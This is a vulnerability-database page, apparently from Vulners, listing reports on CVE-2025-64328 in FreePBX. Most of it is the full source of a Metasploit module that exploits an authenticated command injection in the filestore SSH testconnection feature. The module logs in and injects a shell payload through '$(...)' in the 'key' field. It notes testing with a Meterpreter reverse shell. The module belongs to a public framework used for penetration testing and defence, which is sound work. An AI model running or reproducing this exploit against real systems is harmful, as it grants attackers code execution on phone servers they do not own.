| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| CVE-2025-64328 | 7 Nov 202503:32 | – | attackerkb | |
| CVE-2025-64328 | 7 Nov 202506:07 | – | circl | |
| Sangoma FreePBX OS Command Injection Vulnerability | 3 Feb 202600:00 | – | cisa_kev | |
| CISA Adds Four Known Exploited Vulnerabilities to Catalog | 3 Feb 202612:00 | – | cisa | |
| FreePBX Endpoint Manager 操作系统命令注入漏洞 | 7 Nov 202500:00 | – | cnnvd | |
| CVE-2025-64328 | 7 Nov 202503:32 | – | cve | |
| CVE-2025-64328 FreePBX Administration GUI is Vulnerable to Authenticated Command Injection | 7 Nov 202503:32 | – | cvelist | |
| EUVD-2025-38232 | 7 Nov 202503:32 | – | euvd | |
| FreePBX 17.0.2.36 < 17.0.3 Command Injection (GHSA-vm9p-46mv-5xvw) | 5 Feb 202600:00 | – | nessus | |
| FreePBX filestore authenticated command injection | 13 Mar 202618:57 | – | metasploit |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::FreePBX
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'FreePBX filestore authenticated command injection',
'Description' => %q{
This module exploits an authenticated command injection vulnerability (CVE-2025-64328) in the
FreePBX filestore module. The filestore module allows administrators to configure remote file
storage backends (SSH, FTP, etc.) for backup and file management purposes.
The vulnerability exists in the SSH driver's testconnection functionality, specifically in the
check_ssh_connect() function located at /admin/modules/filestore/drivers/SSH/testconnection.php.
The function accepts user-controlled input for the SSH key path parameter, which is then passed
unsanitized to exec() calls when generating SSH keys.
The vulnerable code executes commands such as:
exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" && chown asterisk:asterisk $key && chmod 600 $key");
By injecting shell command substitution syntax (e.g., $(command)) into the key parameter, an
authenticated user can execute arbitrary commands on the underlying system with the privileges of
the web server process (typically the asterisk user).
This vulnerability affects filestore module versions 17.0.2.36 through 17.0.2.44 (introduced in
17.0.2.36, patched in 17.0.3). The module requires valid FreePBX credentials for a user account that
has access to the filestore module. The user must be in the "Filestore" group (administrator or
low-privilege user).
Note: Due to the vulnerable code structure, the injected command may be executed multiple times,
potentially resulting in multiple Meterpreter sessions.
},
'License' => MSF_LICENSE,
'Author' => [
'Cory Billington', # Vulnerability discovery
'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
],
'References' => [
['CVE', '2025-64328'],
['GHSA', 'vm9p-46mv-5xvw', 'FreePBX/security-reporting'],
['URL', 'https://theyhack.me/CVE-2025-64328-FreePBX-Authenticated-Command-Injection/']
],
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Targets' => [
[
'Unix Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-11-08',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [false, 'The URI for the FreePBX installation', '/']),
OptString.new('USERNAME', [true, 'FreePBX username (must be in the "Filestore" group)', 'admin']),
OptString.new('PASSWORD', [true, 'FreePBX admin password', ''])
]
)
end
class AuthenticationError < StandardError; end
class ConnectionError < StandardError; end
def check
data = freepbx_get_login_page_data
unless data[:detected]
vprint_status('Target does not appear to be FreePBX')
return CheckCode::Safe('Not FreePBX')
end
begin
cookie = authenticate
rescue AuthenticationError
return CheckCode::Detected('Invalid credentials')
rescue ConnectionError
return CheckCode::Safe('Not FreePBX')
end
version = get_filestore_version_cached(cookie)
return CheckCode::Detected('Filestore module version could not be determined') unless version
version_obj = Rex::Version.new(version)
return CheckCode::Safe("Filestore module patched (version #{version})") if version_obj >= Rex::Version.new('17.0.3')
return CheckCode::Safe("Filestore module version #{version} not vulnerable") if version_obj < Rex::Version.new('17.0.2.36')
CheckCode::Appears("Filestore module vulnerable (version #{version})")
end
def exploit
cookie = authenticate
get_filestore_version_cached(cookie)
execute_command(payload.encoded, cookie)
rescue AuthenticationError
fail_with(Failure::NoAccess, 'Invalid credentials')
rescue ConnectionError
fail_with(Failure::Unknown, 'Connection error')
end
def authenticate
data = freepbx_get_login_page_data
raise ConnectionError, 'Target does not appear to be FreePBX' unless data[:detected]
cookie = freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
raise AuthenticationError, 'Invalid credentials' if cookie == :auth_failed
raise ConnectionError, 'Connection error' if cookie.nil?
cookie
end
def get_filestore_version_cached(cookie)
return @filestore_version if @filestore_version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
'cookie' => cookie,
'headers' => { 'Referer' => freepbx_referer },
'vars_get' => {
'display' => 'filestore'
}
)
return nil unless res&.code == 200
match = res.body.match(/filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/)
return nil unless match
version = match[1]
vprint_status("Filestore module version: #{version}")
@filestore_version = version
version
end
def execute_command(cmd, cookie)
fail_with(Failure::BadConfig, 'Missing authentication cookie') unless cookie
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
'cookie' => cookie,
'headers' => {
'Referer' => freepbx_referer
},
'vars_get' => {
'module' => 'filestore',
'command' => 'testconnection',
'driver' => 'SSH'
},
'vars_post' => {
'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}",
'port' => rand(1024..65535).to_s,
'user' => Rex::Text.rand_text_alphanumeric(8),
'key' => "$(#{cmd})",
'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}"
}
)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation